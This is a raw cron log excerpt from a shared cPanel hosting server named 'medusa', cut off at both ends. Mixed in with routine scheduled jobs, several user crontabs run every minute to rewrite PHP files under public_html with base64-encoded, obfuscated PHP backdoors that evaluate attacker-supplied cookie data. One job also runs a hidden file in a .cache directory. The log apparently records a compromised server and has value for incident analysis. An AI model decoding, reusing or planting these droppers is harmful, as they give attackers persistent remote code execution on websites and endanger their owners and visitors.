X0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:56:01 medusa CROND[27069]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:56:01 medusa CROND[27070]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:56:01 medusa CROND[27079]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:56:01 medusa CROND[27080]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:56:01 medusa CROND[27072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:57:01 medusa CROND[19158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:57:01 medusa CROND[19205]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:57:01 medusa CROND[19206]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:57:01 medusa CROND[19207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:57:01 medusa CROND[19208]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:57:01 medusa CROND[19209]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:57:01 medusa CROND[19210]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:57:01 medusa CROND[19213]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:57:01 medusa CROND[19216]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:57:01 medusa CROND[19227]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:57:01 medusa CROND[19226]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:57:01 medusa CROND[19229]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:58:02 medusa CROND[11746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:58:02 medusa CROND[11747]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:58:02 medusa CROND[11748]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:58:02 medusa CROND[11749]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:58:02 medusa CROND[11751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:58:02 medusa CROND[11750]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:58:02 medusa CROND[11752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:58:02 medusa CROND[11754]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:58:02 medusa CROND[11755]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:58:02 medusa CROND[11757]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:58:02 medusa CROND[11759]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 14:58:02 medusa CROND[11760]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:58:02 medusa CROND[11762]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:58:02 medusa CROND[11763]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:59:01 medusa CROND[3752]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IG